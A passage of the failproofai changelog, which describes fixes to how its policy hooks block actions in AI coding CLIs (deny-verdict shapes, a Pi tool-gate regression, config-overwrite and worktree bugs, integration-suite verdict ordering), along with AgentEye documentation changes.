` side by side. Node-only, and therefore invisible from both directions — Bun ignores the `?v=` cache-buster so the duplicate import is a silent no-op in a `bin/failproofai.mjs` run, while Node honours it and re-executes. All three routes now dedupe through one set of resolved paths. **A hand-edited `settings.json` could abort the whole install.** The new pruning loop walks every key in `settings.hooks`, including keys failproofai has never written — a newer Claude event, another tool's entry, a typo — so their values are unvalidated input, and a non-array one threw (`{} is not iterable`, or `matchers.filter is not a function`). The throw escapes `installHooks` *after* the selected policies are recorded as enabled, so the user is told they are covered while settings.json received no hook at all: silent non-enforcement, the failure this pruning exists to remove. Verified end to end — `Unexpected error: {} is not iterable`, 0 hooks written, against 28 on the same file with the key well-formed. Non-array values are now skipped, and a matcher group is dropped only when *we* emptied it, so foreign and malformed entries are written back exactly as found instead of being quietly deleted. (#622)
+
- Address the CodeRabbit review on #622. The substantive one: convention discovery loaded the user directory even when it resolved to the same path as the project directory — which is what happens whenever the project root IS the home directory, the normal setup for a gateway. Every file was then loaded twice and `customPolicies.add` (an unconditional push) registered each hook twice, so every policy fired twice per event; a counting policy would double-count and trip its ceiling at half the real number. That was masked by the runtime rather than prevented, in a way that hid it from both sides: **Bun caches dynamic imports by resolved path and ignores the `?v=` cache-buster**, so the second import was a no-op in the shipped binary, while **Node honours the query** and would have double-registered — and the test suite runs under Node, where nothing exercised the overlapping-directory case. Paths are now deduplicated explicitly, with a regression test that fails without it, and the cache-buster carries a note that nothing may depend on a repeat load re-executing. Also: one unreadable policy file no longer blanks the entire Configure Policies tab (`readFile` still throws on EACCES or a raced delete even though existence is checked, and both callers swallow the rejection, so the tab hung on "Loading…" — discovery is now isolated per directory and per file, listing a file it cannot read rather than failing the payload); the convention tests stub `FAILPROOFAI_LAUNCH_CWD` so an ambient value cannot bypass the cwd spy; and absolute developer home paths are out of shipped source, since the version alone identifies the artifact. (#622)
+
- Fix three defects an adversarial review of this branch confirmed, two of them regressions introduced by the branch itself. **Pi's tool gate was turned OFF.** The commit that corrected five inert deny shapes put Pi's two returns in each other's handlers: both build the same `hook_event_name: "PreToolUse"` payload (`user_bash` maps there too), so a single search-and-replace matched the wrong one. `tool_call` — every tool the model calls — returned `{result:BashResult}`, which `ToolCallEventResult` has no field for, so `agent-loop`'s `beforeResult?.block` was undefined and the tool ran; `user_bash` kept the `{block:true}` that `UserBashEventResult` has no field for. Strictly worse than the bug being fixed, and the capability matrix asserted both were fine, so no UI caveat covered the hole. Returns are now in their correct handlers, pinned by a test that reads each handler's source and fails if the shapes swap again. **`claude --worktree` was still broken in this repo**: `WorktreeCreate` was dropped from what we install but never removed from the committed `.claude/settings.json`, and the dogfood tripwire asserted a bare event *count*, which a swap leaves unchanged — it now also asserts no registered event lies outside `CLAUDE_INSTALL_EVENT_TYPES`, an invariant a count cannot express. **Project-scope policies were invisible in the shipped dashboard**: the server action resolved from `process.cwd()`, but `.next/standalone/server.js` calls `process.chdir(__dirname)` on its first line, so at request time cwd is the installed package; and unlike enforcement it did not walk up to the nearest `.failproofai` marker, so it disagreed from any subdirectory. The launcher now forwards the pre-chdir cwd as `FAILPROOFAI_LAUNCH_CWD` and both the action and `failproofai policies` resolve through `findProjectConfigDir`, so listing and enforcement agree. (#622)
+
- Never overwrite a `policies-config.json` that does not parse. `readScopedHooksConfig` fails soft, returning `{enabledPolicies: []}` on a syntax error — correct for the hook path, which must not die because a config is malformed, but fatal for a writer: the new convention-policy record would write that empty default straight back, **destroying every enabled policy the user had**. One stray comma in a hand-edited config plus a `failproofai policies` run — a read-only command — was enough to wipe the file, silently. `syncConventionPolicies` now re-parses the file itself before writing and bails with a warning naming the path, leaving it byte-for-byte untouched. Caught by running the case rather than reasoning about it, and pinned by two tests that fail without the guard. (#622)
+
- Send deny verdicts in the shape five CLI events actually parse, turning silent non-enforcement into real blocks. Each of these ran the policy, produced a verdict, recorded `decision: "deny"` in the activity store and counted it in telemetry — while the CLI submitted the prompt or ran the command anyway, because the shape we emitted matched nothing it reads. Every one of them *can* block; the gap was ours, not the vendor's, which makes them worse than a missing capability: the dashboard reported protection that did not exist. **Copilot `UserPromptSubmit`** now emits `{decision:"block",reason}` at exit 0 — we were sending exit 2 + stderr, which Copilot logs as `Hook command exited with code 2 (warning)` for every event and never treats as a deny. **Copilot `PermissionRequest`** now emits the flat `{behavior,message}` its normalizer consumes; the Codex-shaped nested `hookSpecificOutput.decision` normalized to `{}`, so the permission prompt proceeded as if no policy existed. **Cursor `UserPromptSubmit`** now emits `{continue:false,user_message}`, the only block key `beforeSubmitPrompt` reads — an object carrying `permission:"deny"` validates as unknown-key and is dropped (the tool events, which genuinely do read `permission`, are unchanged and covered by a regression test). **Pi `input`** now returns `{action:"handled"}`: `InputEventResult` is a union of continue/transform/handled with no `block` field at all, verified against the installed package's own `.d.ts`, so `{block:true}` matched neither branch — with the caveat that `handled` drops the prompt silently, so the shim logs the reason to stderr. **Pi `user_bash`** now returns a full-replacement `{result:BashResult}`, the documented way for an extension to declare it handled execution; `UserBashEventResult` has no `block` field either, so the command was running. The capability matrix moves those cells from `observe` to `block` with the fix recorded inline. (#622)
+
- Stop registering a `WorktreeCreate` hook on Claude Code, which broke `claude --worktree` and `/worktree` for every user who installed failproofai. That event is not a permission gate: Claude uses it as a worktree-PATH PROVIDER, taking the stdout of the first hook that succeeds as the directory to create and failing with `WorktreeCreate hook failed` when none supplies one. Our allow path writes nothing to stdout — correctly, by the contract every other event uses — so merely being registered there broke the feature whatever any policy decided, and no policy was even involved. Found by auditing all 12 CLIs' hook contracts against upstream source; confirmed locally (the hook was present in `~/.claude/settings.json` and the binary returned empty stdout for the event). Claude now installs from `CLAUDE_INSTALL_EVENT_TYPES` — the canonical set minus that one event — while `HOOK_EVENT_TYPES` keeps its full 29 so a policy may still subscribe. Nothing is lost: all 39 builtins match only PreToolUse, PostToolUse, PermissionRequest and Stop. `writeHookEntries` also now prunes our marked entry from any event it no longer installs, so reinstalling repairs a machine that already has the broken entry rather than leaving it in place forever; a third party's own hooks on the same event are untouched. (#622)
+
- Decide the integration suite's PASS/FAIL on what the CLI did, not on what we logged. Each probe gathers two pieces of evidence — our `hooks.log` (did failproofai emit a deny?) and a side effect on disk (did the CLI run the command regardless?) — and the verdict read our own log first, so a CLI that logged our deny and then ran the command anyway matched the leading branch and scored **PASS** while the marker file proving it ran sat unread. That silent allow is the exact failure the suite exists to catch: copilot 1.0.70 shipped it. Both probes now check ground truth first — the marker file for the bash probe, the leaked sentinel for the read probe — and fall through to the hook log only once the action is known not to have happened. Until this landed, no result from the suite was evidence that any CLI honours a deny; every green only proved we emitted one. A new tripwire asserts the ordering, including a general guard against any verdict block that opens by scoring PASS from the hook log alone. (#622)
+
- Indent the folder icon with its label in the projects tree, so a nested gateway folder starts to the right of its parent instead of level with it. The icon renders in its own `` (the tree is one table, so the Path and Last Modified columns stay aligned down the page) and only the name cell carried the depth padding — every child's icon therefore sat at exactly the same x as its parent's, and a Hermes profile's channels read as a flat list with ragged text rather than a hierarchy. Both cells now take the same offset, so icon and label move together one step per level, and a test pins that each depth starts further right than the one above it. (#622)
+
- Record convention policies in `policies-config.json`, so the config shows what is installed and not only what was explicitly enabled. Dropping a file into `.failproofai/policies/` wrote nothing anywhere — enabling a builtin appended to `enabledPolicies` and `--install -c` wrote `customPoliciesPath`, but the convention path left the file untouched, so an operator with four working policies saw `{"enabledPolicies": []}` and concluded discovery was broken. `failproofai policies` now mirrors what it lists into that scope's config under a new `conventionPolicies` key, recording each file and the hook names it actually registered (taken from the load the listing already performs, so they are real names rather than a regex guess). The record is **descriptive, never authoritative**: enforcement still discovers from the filesystem and never reads the key, which is pinned by a test asserting a policy fires while the config lists a different, deleted file — an opt-in registry would mean a freshly-copied policy silently doing nothing until some command refreshed it, the exact silent-non-enforcement this project exists to remove. It is written wholesale rather than merged, so a deleted file disappears on the next run; only when the value changes, so repeated runs do not churn the file; never when the list is empty and no config exists, so the CLI does not litter config files in every directory it runs from; and never from the hook path, where a read-modify-write from concurrent short-lived processes with no locking would corrupt the file that governs enforcement. Loading the same file twice in one process also stopped returning zero hooks: the temp-file URL was deterministic, so the second dynamic import hit the ESM module cache, the module body never re-ran, and no `customPolicies.add` fired — which is what rendered every file as `failed to load` when the listing walked a shared project/user directory twice. The specifier now carries a monotonic cache-busting query. (#622)
+
- Show convention-discovered policies in the dashboard, and stop the CLI's own listing running the filename into its hook count. Both halves are the same root confusion: `.failproofai/policies/*policies.mjs` files are registered by the **filesystem**, never by `policies-config.json`, so a dashboard that reads only config renders nothing and a working policy looks uninstalled. Reported from a live gateway where `failproofai policies` listed four `enforce-*` convention files with green ticks while the configure view showed none, and the operator reasonably concluded discovery was broken — it was not; `enabledPolicies` is the builtin allowlist and never held custom names. `get-hooks-config.ts` now calls the same `discoverPolicyFiles()` the hook path and `manager.ts` already use, for project and user scope, and returns them grouped by declaring file so the UI can show which file to edit. It **parses** rather than imports them: `manager.ts` executes each file to list it, which is fine for a one-shot CLI but would run arbitrary user code inside the long-lived dashboard server on every page load, so the existing regex reader is reused and a malformed file degrades to "no policies listed" instead of taking the server down. Running the dashboard from `$HOME` makes the project and user directories identical, which would list every file twice as if it were two installs, so that case collapses to one. The CLI half is narrower: `nameColWidth` is sized to the longest *builtin* name (32 chars) and `padEnd` to a width below the string length is a no-op, so a 42-character filename printed as `enforce-bengaluru-event-links-policies.mjs1 hook(s)` with no separator at all; the column now widens to fit the files actually being printed. Both are covered by tests that fail without the fix, including one asserting the exact reported collision. Running the CLI from `$HOME` also made the project and user convention directories the same path, so the listing walked it twice — and the second pass rendered every file as `failed to load`, because the first had already imported the module and the ESM cache short-circuits `customPolicies.add`, leaving `loadCustomHooks` to return 0 hooks truthfully. Four working policies all showed a red ✗ on a live install. The shared directory is now listed once, labelled `Project + User` so the collapse is visible rather than silent. (#622)
+
- Stop hardcoding `~/.hermes`, which left every non-default Hermes profile both unaudited and unenforced. Hermes profiles are separate home directories (`~/.hermes/profiles//`), each with its own `state.db` and its own `config.yaml`, and both pillars assumed there was exactly one of each — upstream's own contributor guide warns that hardcoding the path breaks profiles, and it broke both halves in different ways. On the audit side those sessions were not mis-grouped but **absent**: the dashboard and `failproofai audit` read one `state.db`, so a gateway serving several profiles showed only the default one's traffic with nothing indicating the rest existed. On the enforcement side `policies --install --cli hermes` wrote one `config.yaml`, so every other profile ran with no hooks at all — silently, since Hermes reports nothing about hooks it was never told to run, which is the same silent-unenforcement failure class as the Copilot config drift. Discovery now lives in one dependency-light module both pillars share (`lib/hermes-profiles.ts`, fs/path only so the hook path pays nothing for it), and it honours `HERMES_HOME` including the case that matters most: the per-profile alias wrapper exports `HERMES_HOME=/profiles/`, so discovery climbs back to the root and still sees every sibling, mirroring what upstream does for `hermes profile list`. `HERMES_DB_PATH` keeps its existing meaning as a single-DB override. Enforcement grew the smallest interface change that covers it — an optional `getSettingsPaths()` defaulting to `[getSettingsPath()]`, so the four call sites loop and the other eleven integrations are untouched — and Hermes now reports itself installed only when *every* profile is hooked, since a profile added after install would otherwise read as green while running unenforced; the wizard names the unhooked ones rather than flatly saying "not configured". A profile directory with no `state.db` is skipped rather than failing the batch. (#622)
+
- Stop the workflow handing the stable leg a peer-state path pointing at its own state file, and stop the beta report overstating coverage on a targeted run (both caught in review by CodeRabbit). The first is the GitHub Actions ternary trap the workflow already documents thirty lines above for `CANARY_VERSION_GATED`: Actions has no ternary, `cond && a || b` is the idiom, and an empty `a` is *falsy* — so `matrix.channel == 'stable' && ''` short-circuits to the fallback and both legs received the same path. Latent rather than active (`report.js` only reads the peer state on the beta leg) but a landmine, and fixed by flipping the operands so the true branch is the non-empty one. The second: `run.sh` accepts a CLI subset, so `run.sh cursor` on the beta leg reported "the rest publish no pre-release ref" about CLIs that were merely not requested — precisely the overstated-coverage failure the line exists to prevent. The denominator is now the eligible count passed in from `run.sh`, rather than a hardcoded 12 or a third copy of the CLI list to drift against, so a targeted run reads `watching 2/6 CLIs that publish a pre-release ref (of 12 total)`. Both are covered by new assertions in `__tests__/integration-suite/channel-refs.test.ts`. (#591)
+
- Repoint the integration suite's codex probe at `gpt-5.1-codex-mini`, restoring the daily enforcement signal for that CLI. The 2026-07-22 run reported `codex bash=INCONCLUSIVE read=INCONCLUSIVE` while the other eleven CLIs stayed green, and the cause was entirely vendor-side: codex-cli shipped 0.145.0 overnight (0.144.6 was green the day before), and for a model it has no metadata for — deepseek logs `Model metadata not found. Defaulting to fallback metadata` — it now sends `reasoning:{summary:"auto"}` and `include:["reasoning.encrypted_content"]` where 0.144.6 sent `reasoning:null` and `include:[]`. The gateway answers `400 "Encrypted content is not supported with this model"` (`param: include`), codex exits before its first tool call, and with no tool call there is no deny to observe, so both probes report INCONCLUSIVE. Enforcement was never broken: the hook log shows `SessionStart` and `UserPromptSubmit` firing in every failed run, and a silent-allow would have surfaced as FAIL, not INCONCLUSIVE. Confirmed by reproducing the CI verdict locally against the real gateway and by replaying the captured request body with and without those two fields — the same body minus `include`/`reasoning` returns 200 on deepseek. It is the same rejection `pi` was already pinned away from over the same `include` param; codex has now grown into it, making three CLIs pinned off the default model. No config override avoids it — `model_reasoning_summary="none"`, `model_supports_reasoning_summaries=false` and `model_reasoning_effort="none"` all still emit `include` — and the escape hatch is gone, since `wire_api = "chat"` is rejected outright by 0.145.0 (openai/codex#7782). `gpt-5.1-codex-mini` is the cheapest gateway model that accepts encrypted reasoning content *and* supports codex's full toolset; `gpt-5.4-nano` accepts the reasoning params but 400s on `tool_search`, which only an end-to-end run reveals. Verified end to end: `bash=PASS read=PASS` with `result=deny policy=custom/canary-bash` and `custom/canary-read` in the oracle. (#591)
+
- Make `CANARY_CODEX_MODEL` actually reach the probe. `probe-cli.sh` has read the override since the harness was written, but nothing ever set it: only `CANARY_LLM_MODEL`, `CANARY_CLAUDE_MODEL` and `CANARY_PI_MODEL` were written into the container env-file, and the probe runs inside the container, so setting the variable in repo settings would have had no effect at all. `ci-entrypoint.sh` now forwards it and the workflow maps an optional secret, so the next model that starts refusing codex's payload can be swapped from repo settings without a code change. (#591)
+
- Report a vendor payload rejection as ERROR rather than INCONCLUSIVE. `is_error()` classified quota and auth failures ("can't test right now") apart from a model that simply never called a tool, but a `400` / `invalid_request_error` / `not supported` response fell through to INCONCLUSIVE — so the codex regression above was posted as a quiet 🟡 "all enforcing where the model engaged" for a full day, when the accurate reading was ⚠️ "couldn't test codex". Payload rejections now land in the same bucket as quota errors. The ordering is unchanged and still fail-safe: a deny is checked first, then a leaked side-effect, so a genuine FAIL can never be reclassified. (#591)
+
- Keep `is_error()`'s payload-rejection patterns machine-shaped, and lock them down with a test. The first cut matched a bare `400` and a bare `not supported`, but the function's input is the agent's *entire transcript* — so "I ran the suite and 400 tests passed" or "that flag is not supported" classified a chatty refusal as a vendor outage, inverting the very signal the change was meant to sharpen (caught in review by CodeRabbit). Now it matches the structured `"code": 400` form and the gateway's own `not supported with` phrasing; both live failures carry `invalid_request_error` and `BadRequestError` regardless, so nothing is lost. `__tests__/integration-suite/is-error.test.ts` runs the real function out of the shell script — not a copy that can drift — against seven vendor-failure fixtures and six ordinary-output fixtures, four of which the previous regex got wrong. (#591)
+
- Spool probe output to a temp file instead of a shell variable (also from review). Capturing a full agent transcript from up to six CLI invocations into `$(...)` to read one verdict line and a 20-line tail meant a stuck or noisy client could grow the buffer without bound; the previous code streamed through a pipe and never held it. (#591)
+
- Restore the note explaining why codex is not pinned to a Claude model, which the fix above had deleted along with the line it annotated. The gateway routes Anthropic weighted 1:1 through Bedrock, which 400s on codex's request metadata (#576) — so a Claude-pinned codex probe fails on roughly half its requests, and a coin-flip red in a daily canary is worse than a consistent one. Worth keeping precisely because a single green probe looks like proof that it works. (#591)
+
- Echo the probe's output tail whenever a CLI's verdict is not a clean pass. `run.sh` discarded everything a probe printed except its `VERDICT_JSON` line, so a yellow or red run said *what* broke and never *why*, and re-running produced no more detail because the vendor's error message was thrown away both times — diagnosing the codex regression above needed a full local reproduction purely for want of these twenty lines. Safe in a public log: every credential involved is a registered Actions secret, so GitHub masks it on the way out. (#591)
### Docs
- Correct three claims on the AgentEye Hermes capture page that a reader could act on and be wrong about. "Each message is shipped exactly once" was true of derivation but not of delivery: a batch the collector could not upload was kept on disk and then retried by nothing, so a session could be captured perfectly and still never arrive — which is exactly what happened on our own gateway host, where one batch holding 21,150 events sat undelivered for a week while `agenteye-collector health` reported `healthy`. The collector now retries undelivered batches and the health check fails while any remain, so the page says plainly that "healthy" means the data arrived rather than that the process is alive — worth stating because running that command is precisely how this page tells people to confirm capture is working. Second, sessions now appear as soon as Hermes starts them; previously one that had not produced a message yet never showed up in Sessions at all, because registration was driven by message traffic rather than by the session itself. Third, a turn's reply and its tool calls now stay in the order they happened (they previously shared a timestamp and came back arbitrarily ordered), and sessions carry more of what Hermes already records: the model, the chat and person behind them, the parent link for sub-sessions, and end reason, cost and token totals. Contract only — the flags, retry mechanics and storage detail stay in the enterprise docs. Pairs with FailproofAI/agenteye#476. (#597)
+
- Add a Codex session capture page for AgentEye: what the collector picks up from local OpenAI Codex sessions (CLI, IDE, desktop app), how to turn it on with an `events:add` key, and where captured sessions show up. Value/contract level only, no implementation detail. (#592)
+
- Note in the AgentEye overview that the dashboard and CLI are backed by a REST API callable with a scoped key, so prospects can see a programmatic API exists. Gist/contract level only — no endpoint signatures; the exhaustive HTTP API reference stays in the enterprise docs. (#593)
+
- Add OpenClaw and Hermes session capture pages for AgentEye, and cross-link all three capture pages so a reader landing on any one finds the others. The collector gained both integrations in FailproofAI/agenteye#462 alongside the existing Codex capture, but that PR deferred the public half to "a separate failproofai PR" which was never opened — so befailproof.ai/agenteye has named Codex as the only capturable agent ever since, while the enterprise docs for both shipped correctly. Same value/contract level as the Codex page (#592): what the collector picks up, enabling it with an `events:add` key, where sessions surface, and the privacy caveat — no paths, env vars, or config keys, which stay enterprise-only. Hermes additionally notes that the originating channel (Slack, Telegram, CLI, scheduled run) is recorded, since telling those apart is the reason to capture it. Both registered in the `en` "SDK and CLI" nav group; `bun` could not run in the authoring sandbox, so nav↔file resolution was asserted in both directions across all 27 pages by hand — the file→nav direction being the one `mintlify validate` does not check, and the reason an unregistered page ships with green CI and no sidebar link. (#594)
## 0.0.14-beta.3 — 2026-07-20
### Fixes
- Pin `brace-expansion` to 5.0.7, clearing the two High-severity GHSA-3jxr-9vmj-r5cp findings that turned the Supply Chain gate red. The advisory published after the last green scan on `main`, so every branch went red at once with no dependency change of its own — re-running `main`'s last scan on its unchanged commit reproduced the failure. Both affected copies were transitive: `brace-expansion@5.0.6` via `minimatch@10`, and three copies of `1.1.15` via the `minimatch@3` that `eslint-plugin-import`, `-jsx-a11y` and `-react` still pull. `bun update brace-expansion` is the wrong tool here — it adds the package as a *direct* dependency and only lifts the top-level copy, leaving the nested `5.0.6` and all three `1.1.15` copies in place. Bun also ignores npm's range-keyed (`brace-expansion@^1.1.7`) and yarn's nested-path (`parent/child/pkg`) override forms, silently resolving nothing, so the two majors cannot be pinned separately; only the plain-key `overrides` form takes effect (as the existing `postcss`/`vite`/`undici` pins show). A single pin to 5.0.7 therefore also hands v5 to `minimatch@3`, which declares `^1.1.7` — safe in practice because the package's whole surface is one `expand()` function whose signature is unchanged across those majors, and `eslint` exercises exactly that path: lint runs clean with the same five pre-existing warnings. Verified by running CI's own scanner image (`ghcr.io/google/osv-scanner-action:v2.3.8`) against the updated lockfile locally: `No issues found`, exit 0. `osv-scanner.toml` keeps its zero ignored vulnerabilities. (#587)
+
- Stop the session log viewer stacking messages on top of each other. Rows in the virtualized log list were keyed `entry.uuid || entry.timestamp`, and `baseEntry` leaves `uuid` as `""` for every CLI that writes no per-record uuid — Codex, Copilot, Cursor and Pi — so the key silently degraded to the timestamp, which those CLIs reuse freely: one 771-record Codex session carries 93 timestamps shared by 2-5 records each. Duplicate React keys break reconciliation, and in a virtualized list the fallout is worse than a warning — orphaned DOM nodes are stranded at their old `transform` and never removed, so an unrelated message paints over the one you are reading and scrolling away and back does not clear it. Reproduced against a real Codex transcript: after one segment collapse, `data-index` 2 had two nodes and `data-index` 3 had three, one of them a message from 58 minutes later drawn across the two beneath it. Entries now get their identity from a new `buildEntryKeys` (`lib/entry-keys.ts`), which prefers the real uuid and disambiguates collisions by occurrence order, so keys are unique and stable across rebuilds. The same map is threaded into `getSegmentId` — queue-operation dividers are uuid-less even on Claude, so two dividers sharing a millisecond collapsed into one segment — and into the virtualizer as `getItemKey`, which was absent: TanStack defaults to keying its size and element caches by *index*, so collapsing a segment shifted every index and replayed one entry's cached height onto a different entry, misplacing rows independently of the key bug. The nested subagent list had the same duplicate key and is fixed alongside. `buildEntryKeys` deliberately lives in its own dependency-free module rather than in `log-entries.ts`, because that module reaches `fs/promises` through its project-resolution imports and a *value* import of it from a client component pulls `node:fs` into the browser bundle and 500s the session page — client code may only import types from there. This was latent since before the open-source release but unreachable until #226 routed Codex transcripts into the Claude viewer; #292 fixed a different misalignment in the same component (stale `scrollMargin`), which is why the remaining symptom presented intermittently rather than on every load. Claude sessions are effectively unaffected — one colliding key in a 4113-record session — but were exposed through uuid-less `file-history-snapshot` entries. Known gap left open: `EntryRow` still anchors on `entry.uuid`, so `#entry-…` deep links and the copy-link button remain inert for uuid-less transcripts. (#587)
+
- Render the policy filter's placeholder as an ellipsis instead of the literal text `…`. The Policies activity bar wrote `placeholder="filter by policy…"`, but a JSX attribute string is not a JavaScript string literal — `…` is not an escape sequence there, so the five characters were painted verbatim on screen, immediately beside the session filter next to it that had it right (`filter by session…`). Caught by looking at the rendered page rather than the source. (#587)
+
- Fix the npm `publish` workflow's post-publish version bump being rejected with `GH013` when it pushed to `main`. The "Bump version for next development cycle" step pushed with the default `GITHUB_TOKEN`, which is not a bypass actor on the org-level `failproofai-rules` ruleset (pull request + 1 review required on `main`), so the automated `chore: bump version` commit was declined ("Changes must be made through a pull request") and every release left `package.json` un-bumped. The step now mints a token for the version-bot GitHub App — the same bypass actor the `bump-platform-submodule` workflow already uses — via `actions/create-github-app-token`, persists it through `actions/checkout`, and pushes as it. (#577)
+
- Reconcile `main`'s `package.json` version to `0.0.14-beta.3`. The post-publish auto-bump had been failing to push for several releases (the fix above), so `main` drifted to `0.0.14-beta.1` while npm published through `0.0.14-beta.2`; this sets it to the next development version the now-fixed automation carries forward. (#577)
## 0.0.14-beta.1 — 2026-07-17
### Docs
- Clarify that AgentEye's Python SDK preserves recording when a payload contains values outside JSON's native type set by converting those leaves to strings, while recommending structured JSON for fields customers intend to query. (#572)
+
- Document the `agenteye-python-sdk` agent skill at `/agenteye/python-sdk-skill`, completing the set — `agenteye-cli` has had a page since #561 and `agenteye-evaluator` since #567, but the skill that gets an agent emitting events in the first place had none, and it is the one the other two depend on: there is nothing to score and nothing to read until a session exists. The page leads with the silences rather than the API, because the SDK's thirteen methods are easy to call and easy to get quietly wrong — no `agent_start` means every event lands and *zero* sessions appear; an unset environment files production runs under `dev`; `outcome="failure"` reads as success because only `failed`/`error`/`timeout`/`rejected` count; a typo'd field name is accepted as a new field; events emitted from a thread pool are dropped. None of them raise, which is why the page's weight sits on the skill's third step — verifying against the event files the SDK writes, which needs no server, no API key, and no network. Also fixes `/agenteye/python-sdk`, which told every reader to `pip install agenteye`: that name on public PyPI is the **CLI**, a different product sharing the distribution name, so the documented command installed the wrong thing and left `import agenteye` failing. The SDK is distributed privately, so the page now says so and points at onboarding rather than naming a command that cannot work. Cross-linked from `cli-skill` and `evaluator-skill`; only the English nav entry is added, since the daily `translate-docs` cron regenerates the 14 localized navs from the English tabs. (#568)
+
- Document the `agenteye-evaluator` agent skill at `/agenteye/evaluator-skill`. The skill shipped to the public [`FailproofAI/skills`](https://github.com/FailproofAI/skills) collection but the docs never mentioned it, so the only way to find it was to browse the skills repo directly — its sibling `agenteye-cli` has had a page since #561. The page leads with the design loop (interview, read real sessions, propose 2-4 dimensions that are computable from the events *and* discriminate a good run from a bad one) rather than the SDK's decorator-and-two-models surface, since that's where evaluators actually fail. It also carries the warning that `agenteye-evaluator` is **not** on public PyPI and its name is unclaimed there, so a bare `pip install agenteye-evaluator` can pull a stranger's package into the service that reads your production transcripts. Cross-linked from `cli-skill` (build vs read), `evaluations`, and `evaluation-suite`; only the English nav entry is added, since the daily `translate-docs` cron regenerates the 14 localized navs from the English tabs. (#567)
+
- Point the docs logo at the landing page: the Failproof AI logo in the navbar now links to `https://befailproof.ai` via `logo.href` instead of Mintlify's default of the docs homepage, giving readers a way back to the product from every page. (#563)
+
- Tell readers where the `agenteye-cli` skill actually is. `/agenteye/cli-skill` explained how to install the skill but never said where to get it — it claimed Failproof AI "delivers the folder to you" and to "ask your Failproof AI contact" if you don't have it. The skill has been published in the public [`FailproofAI/skills`](https://github.com/FailproofAI/skills) collection all along, so the page now links it and leads with `npx skills add FailproofAI/skills --skill agenteye-cli`, keeping the copy-the-folder route as the manual fallback. (#561)
+
- Point the docs navbar button at the landing page's "talk to us" booking link instead of `/getting-started`, so the primary CTA matches befailproof.ai. (#556)
+
- Give the docs footer a way back to the product: add `website` + `discord` to the footer socials and Product (Home / Blog / Guides) and Resources (npm / GitHub / Discord) link columns, mirroring the befailproof.ai footer. Previously the docs linked back to the marketing site from nowhere. (#556)
+
- Redirect the 13 AgentEye pages the upstream syncs deleted (`/agenteye/deployment`, `/agenteye/kubernetes-deployment`, `/agenteye/troubleshooting`, …) to a live page instead of hard-404ing. (#556)
### Fixes
- Stop `failproofai config` crashing when you pick "Just this project". Hermes and OpenClaw are gateways with no project-level config — they are user-scope only — but the wizard offered all twelve CLIs whatever the scope, and its "Everything available" row expanded to all twelve, so applying died with `Unexpected error: Scope "project" is not supported by Hermes` after every question had been answered and with nothing written. The assistant list is now scope-aware: CLIs that cannot take the chosen scope render locked and unchecked under a "Global only · not configurable per-project" heading, stating which scopes they do support, so the constraint is visible while choosing rather than discovered as a crash at the end. "Everything available" resolves to only the CLIs configurable at the chosen scope (ten of twelve for project), and the same filter is applied where the final list is built, so neither path can produce an unsupported target. (#576)
+
- Stop custom policies silently not running, and say when they do. Policies are discovered by convention from `.failproofai/policies/`, but only files whose name ends in `policies.{js,mjs,ts}` are loaded — a file in exactly the right directory, exporting exactly the right thing, named `block-foo.mjs` instead of `block-foo-policies.mjs` was skipped with no message at all. It looked installed and enforced nothing. This repo was itself affected: `block-version-bumps.mjs` — the guard added in #285 after two parallel branches each speculatively bumped `package.json` and #270 merged at the wrong version — had never once run. The loader now logs any script in a policies directory that the convention will skip, naming the rename that fixes it. The `config` wizard gained a `Custom` row in its policy menu, alongside the preset bundles, present in all three states — files found, files found but skipped, nothing yet — because it is the only place the feature is discoverable: a user who has never written a policy cannot learn the capability exists, and one who wrote a badly-named file cannot learn why nothing happened. Custom policies also gained an off switch: `customPoliciesEnabled: false` in `policies-config.json` disables convention discovery without renaming or deleting anything, which the Custom checkbox writes when unticked (and removes when re-ticked, so "absent means enabled" stays the single default rather than two spellings meaning the same thing). An explicit `customPoliciesPath` is deliberately not gated by it — that file was named on purpose, so switching off *discovery* should not silently drop it — and a disabled run logs that it is disabled, since silently loading nothing is the failure this whole change exists to remove. With nothing on disk to switch off the row falls back to a locked status line (a new `locked` flag on the multi-select, drawn in the teal guide hue rather than selection pink, ignoring space and not counting toward the minimum) rather than offering a checkbox that would do nothing. The choice is also reported back: the review screen reads `— DISABLED, will not load` instead of `(auto-loaded)` when the row is unticked, the step summary lists Custom alongside the bundles, and the closing line notes `(+ your custom policies)` or `(custom policies disabled)` — without which the toggle worked but nothing on screen changed, leaving it indistinguishable from a broken one. The review screen carries the same detail plus the full rename hint. The wizard lists files without importing them: loading executes user code, which is right on the hook path and wrong in a wizard the user has not confirmed yet. The repo's own file is renamed to `block-version-bumps-policies.mjs` so the guard is live. Also fixes `buildPresetChoices`'s existing test, which called it with no argument and so asserted against whichever directory the suite ran from — the same ambient-state defect as #569. (#576)
+
- Give `audit` and `auth` the same colours as the rest of the CLI. `hooks/tui.ts` holds the brand palette and exposes it through `paint()`, but `src/audit/cli.ts` and `src/auth/cli.ts` each defined a private 256-colour set — a green (`38;5;120`) and a blue (`38;5;81`) that appear nowhere in the brand — so `failproofai audit` and `failproofai auth` looked like a different product from `failproofai config`. Both now draw from the shared palette via a new `brandAnsi()` accessor, keeping `HUES` the single source of truth: success takes the brand teal, accents the brand pink, and `auth`'s two error strings the amber warn hue, since the palette has no red and both are recoverable "try again" prompts rather than failures. This also fixes `auth` ignoring `NO_COLOR`: it interpolated escape codes directly into template literals at ~15 call sites with no gate, so disabling colour did nothing there; the constants are now blanked when colour is off, which covers every call site at once. (#576)
+
- Make the audit dashboard's "install all" button emit a command that actually runs. `policy` and `policies` are different commands rather than aliases — `failproofai policy add ` enables exactly one policy and rejects a second name outright, while `failproofai policies --install ` is the one that takes a list — and the button built the singular form with every prescribed policy appended, so pasting it returned ``Error: `policy add` takes exactly one policy name (got 3)``. The section only renders when there are gaps to close and lists one row per gap, so multiple policies is the ordinary case and the broken command was the one most users copied; the single-policy case happened to work, which is presumably why it went unnoticed. The button now uses `policies --install` for any number of policies, matching the remediation the CLI's own error message suggests. The per-row buttons are unchanged — they act on exactly one policy each, which is what `policy add` is for. A component test now clicks both kinds of button and asserts the copied string, including that the install-all path never produces `policy add` with more than one name. The dashboard's other actions were checked and are unaffected: Apply/Reinstall on the policies page and Run on the audit page call `installHooks()`/`runAudit()` in-process through server actions rather than building a shell command, and the poster, share and progress copy buttons all emit a plain `failproofai audit`. (#576)
+
